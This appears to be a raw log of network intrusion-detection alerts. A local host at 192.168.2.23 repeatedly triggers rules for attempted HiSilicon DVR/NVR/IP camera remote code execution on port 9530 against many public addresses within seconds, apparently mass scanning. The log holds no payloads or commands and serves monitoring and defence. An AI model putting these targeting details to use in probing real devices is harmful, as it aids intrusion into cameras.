ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.86.24.218

Timestamp:	05/16/24-16:39:14.517505
SID:	2030488
Source Port:	47564
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.213.249.158

Timestamp:	05/16/24-16:38:53.094008
SID:	2030487
Source Port:	39470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.213.249.158

Timestamp:	05/16/24-16:38:53.094008
SID:	2030488
Source Port:	39470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.22.2.43

Timestamp:	05/16/24-16:39:02.762802
SID:	2030487
Source Port:	44684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.218.241.220

Timestamp:	05/16/24-16:39:12.301073
SID:	2030488
Source Port:	35320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.187.116.114

Timestamp:	05/16/24-16:38:59.519272
SID:	2030488
Source Port:	55754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.218.241.220

Timestamp:	05/16/24-16:39:12.301073
SID:	2030487
Source Port:	35320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.61.121.198

Timestamp:	05/16/24-16:39:05.698729
SID:	2030488
Source Port:	59242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.44.240.138

Timestamp:	05/16/24-16:39:14.529802
SID:	2030487
Source Port:	51204
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.179.85.113

Timestamp:	05/16/24-16:38:55.187245
SID:	2030487
Source Port:	56904
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.179.85.113

Timestamp:	05/16/24-16:38:55.187245
SID:	2030488
Source Port:	56904
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.61.121.198

Timestamp:	05/16/24-16:39:05.698729
SID:	2030487
Source Port:	59242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.17.214.0

Timestamp:	05/16/24-16:39:05.706109
SID:	2030488
Source Port:	57856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.17.214.0

Timestamp:	05/16/24-16:39:05.706109
SID:	2030487
Source Port:	57856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.44.240.138

Timestamp:	05/16/24-16:39:14.529802
SID:	2030488
Source Port:	51204
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.50.104.5

Timestamp:	05/16/24-16:39:14.523098
SID:	2030488
Source Port:	33274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.169.45.2

Timestamp:	05/16/24-16:39:16.602121
SID:	2030487
Source Port:	35446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.50.104.5

Timestamp:	05/16/24-16:39:14.523098
SID:	2030487
Source Port:	33274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.169.45.2

Timestamp:	05/16/24-16:39:16.602121
SID:	2030488
Source Port:	35446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.167.171.13

Timestamp:	05/16/24-16:38:53.069486
SID:	2030487
Source Port:	56826
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.167.171.13

Timestamp:	05/16/24-16:38:53.069486
SID:	2030488
Source Port:	56826
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.42.221.136

Timestamp:	05/16/24-16:38:57.304714
SID:	2030488
Source Port:	59438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.113.238.230

Timestamp:	05/16/24-16:39:05.706473
SID:	2030487
Source Port:	51860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.42.221.136

Timestamp:	05/16/24-16:38:57.304714
SID:	2030487
Source Port:	59438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.113.238.230

Timestamp:	05/16/24-16:39:05.706473
SID:	2030488
Source Port:	51860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.231.40.52

Timestamp:	05/16/24-16:38:55.212351
SID:	2030488
Source Port:	44444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.62.78.88

Timestamp:	05/16/24-16:39:03.283131
SID:	2030488
Source Port:	58850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.62.78.88

Timestamp:	05/16/24-16:39:03.283131
SID:	2030487
Source Port:	58850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.34.151.119

Timestamp:	05/16/24-16:39:02.749189
SID:	2030488
Source Port:	43528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.118.29.8

Timestamp:	05/16/24-16:39:03.256881
SID:	2030488
Source Port:	55566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.188.208.72

Timestamp:	05/16/24-16:39:12.298315
SID:	2030488
Source Port:	56998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.34.151.119

Timestamp:	05/16/24-16:39:02.749189
SID:	2030487
Source Port:	43528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.118.29.8

Timestamp:	05/16/24-16:39:03.256881
SID:	2030487
Source Port:	55566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.92.75.62

Timestamp:	05/16/24-16:39:05.699902
SID:	2030487
Source Port:	58436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.188.208.72

Timestamp:	05/16/24-16:39:12.298315
SID:	2030487
Source Port:	56998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.92.75.62

Timestamp:	05/16/24-16:39:05.699902
SID:	2030488
Source Port:	58436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.234.241.31

Timestamp:	05/16/24-16:39:08.041779
SID:	2030487
Source Port:	43686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.171.248.27

Timestamp:	05/16/24-16:39:16.578974
SID:	2030487
Source Port:	34426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.10.213.81

Timestamp:	05/16/24-16:38:57.413348
SID:	2030488
Source Port:	33162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.10.213.81

Timestamp:	05/16/24-16:38:57.413348
SID:	2030487
Source Port:	33162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.98.167.36

Timestamp:	05/16/24-16:39:02.747915
SID:	2030487
Source Port:	53404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.98.167.36

Timestamp:	05/16/24-16:39:02.747915
SID:	2030488
Source Port:	53404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.171.248.27

Timestamp:	05/16/24-16:39:16.578974
SID:	2030488
Source Port:	34426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.34.93.23

Timestamp:	05/16/24-16:38:53.011568
SID:	2030487
Source Port:	54338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.34.93.23

Timestamp:	05/16/24-16:38:53.011568
SID:	2030488
Source Port:	54338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.234.241.31

Timestamp:	05/16/24-16:39:08.041779
SID:	2030488
Source Port:	43686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.236.48.116

Timestamp:	05/16/24-16:39:14.507750
SID:	2030487
Source Port:	37550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.236.48.116

Timestamp:	05/16/24-16:39:14.507750
SID:	2030488
Source Port:	37550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.203.9.216

Timestamp:	05/16/24-16:39:05.699965
SID:	2030488
Source Port:	36726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.203.9.216

Timestamp:	05/16/24-16:39:05.699965
SID:	2030487
Source Port:	36726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.75.98.82

Timestamp:	05/16/24-16:38:50.063922
SID:	2030487
Source Port:	32772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.75.98.82

Timestamp:	05/16/24-16:38:50.063922
SID:	2030488
Source Port:	32772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.180.62.135

Timestamp:	05/16/24-16:39:12.384355
SID:	2030488
Source Port:	34368
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.222.250.158

Timestamp:	05/16/24-16:39:16.614047
SID:	2030488
Source Port:	56234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.222.250.158

Timestamp:	05/16/24-16:39:16.614047
SID:	2030487
Source Port:	56234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.237.110.164

Timestamp:	05/16/24-16:38:53.062221
SID:	2030487
Source Port:	45812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.237.110.164

Timestamp:	05/16/24-16:38:53.062221
SID:	2030488
Source Port:	45812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.180.62.135

Timestamp:	05/16/24-16:39:12.384355
SID:	2030487
Source Port:	34368
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.90.241.160

Timestamp:	05/16/24-16:39:16.582440
SID:	2030488
Source Port:	53648
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.100.20.107

Timestamp:	05/16/24-16:38:50.053096
SID:	2030488
Source Port:	58962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.100.20.107

Timestamp:	05/16/24-16:38:50.053096
SID:	2030487
Source Port:	58962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.90.241.160

Timestamp:	05/16/24-16:39:16.582440
SID:	2030487
Source Port:	53648
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.136.141.163

Timestamp:	05/16/24-16:39:03.260937
SID:	2030487
Source Port:	58296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.136.141.163

Timestamp:	05/16/24-16:39:03.260937
SID:	2030488
Source Port:	58296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.148.239.182

Timestamp:	05/16/24-16:39:16.600105
SID:	2030488
Source Port:	45178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.148.239.182

Timestamp:	05/16/24-16:39:16.600105
SID:	2030487
Source Port:	45178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.178.111.147

Timestamp:	05/16/24-16:39:16.611322
SID:	2030487
Source Port:	34850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.178.111.147

Timestamp:	05/16/24-16:39:16.611322
SID:	2030488
Source Port:	34850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.216.118.18

Timestamp:	05/16/24-16:38:57.303928
SID:	2030487
Source Port:	44406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.216.118.18

Timestamp:	05/16/24-16:38:57.303928
SID:	2030488
Source Port:	44406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.203.194.110

Timestamp:	05/16/24-16:38:53.066952
SID:	2030488
Source Port:	37264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.203.194.110

Timestamp:	05/16/24-16:38:53.066952
SID:	2030487
Source Port:	37264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.89.190.74

Timestamp:	05/16/24-16:38:55.175132
SID:	2030488
Source Port:	35798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.57.130.165

Timestamp:	05/16/24-16:38:59.587438
SID:	2030487
Source Port:	40806
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.89.190.74

Timestamp:	05/16/24-16:38:55.175132
SID:	2030487
Source Port:	35798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.57.130.165

Timestamp:	05/16/24-16:38:59.587438
SID:	2030488
Source Port:	40806
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.68.5.246

Timestamp:	05/16/24-16:38:57.447008
SID:	2030488
Source Port:	55994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.68.5.246

Timestamp:	05/16/24-16:38:57.447008
SID:	2030487
Source Port:	55994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.246.110.240

Timestamp:	05/16/24-16:39:05.678460
SID:	2030487
Source Port:	38338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.246.110.240

Timestamp:	05/16/24-16:39:05.678460
SID:	2030488
Source Port:	38338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.145.158.211

Timestamp:	05/16/24-16:39:12.295439
SID:	2030488
Source Port:	58386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.145.158.211

Timestamp:	05/16/24-16:39:12.295439
SID:	2030487
Source Port:	58386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.48.158.84

Timestamp:	05/16/24-16:39:16.585504
SID:	2030487
Source Port:	59200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.48.158.84

Timestamp:	05/16/24-16:39:16.585504
SID:	2030488
Source Port:	59200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.58.57.64

Timestamp:	05/16/24-16:39:02.744303
SID:	2030487
Source Port:	43948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.77.3.51

Timestamp:	05/16/24-16:38:53.069485
SID:	2030487
Source Port:	59590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.77.3.51

Timestamp:	05/16/24-16:38:53.069485
SID:	2030488
Source Port:	59590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.58.57.64

Timestamp:	05/16/24-16:39:02.744303
SID:	2030488
Source Port:	43948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 24.85.166.139

Timestamp:	05/16/24-16:39:03.281237
SID:	2030488
Source Port:	57966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 24.85.166.139

Timestamp:	05/16/24-16:39:03.281237
SID:	2030487
Source Port:	57966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.86.134.188

Timestamp:	05/16/24-16:39:02.763319
SID:	2030488
Source Port:	45960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.86.134.188

Timestamp:	05/16/24-16:39:02.763319
SID:	2030487
Source Port:	45960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.14.94.150

Timestamp:	05/16/24-16:39:02.726986
SID:	2030487
Source Port:	44730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.14.94.150

Timestamp:	05/16/24-16:39:02.726986
SID:	2030488
Source Port:	44730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.191.127.238

Timestamp:	05/16/24-16:38:55.213097
SID:	2030487
Source Port:	59456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.191.127.238

Timestamp:	05/16/24-16:38:55.213097
SID:	2030488
Source Port:	59456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.65.177.237

Timestamp:	05/16/24-16:38:53.100367
SID:	2030487
Source Port:	56344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.185.249.1

Timestamp:	05/16/24-16:39:02.748337
SID:	2030488
Source Port:	36356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.65.177.237

Timestamp:	05/16/24-16:38:53.100367
SID:	2030488
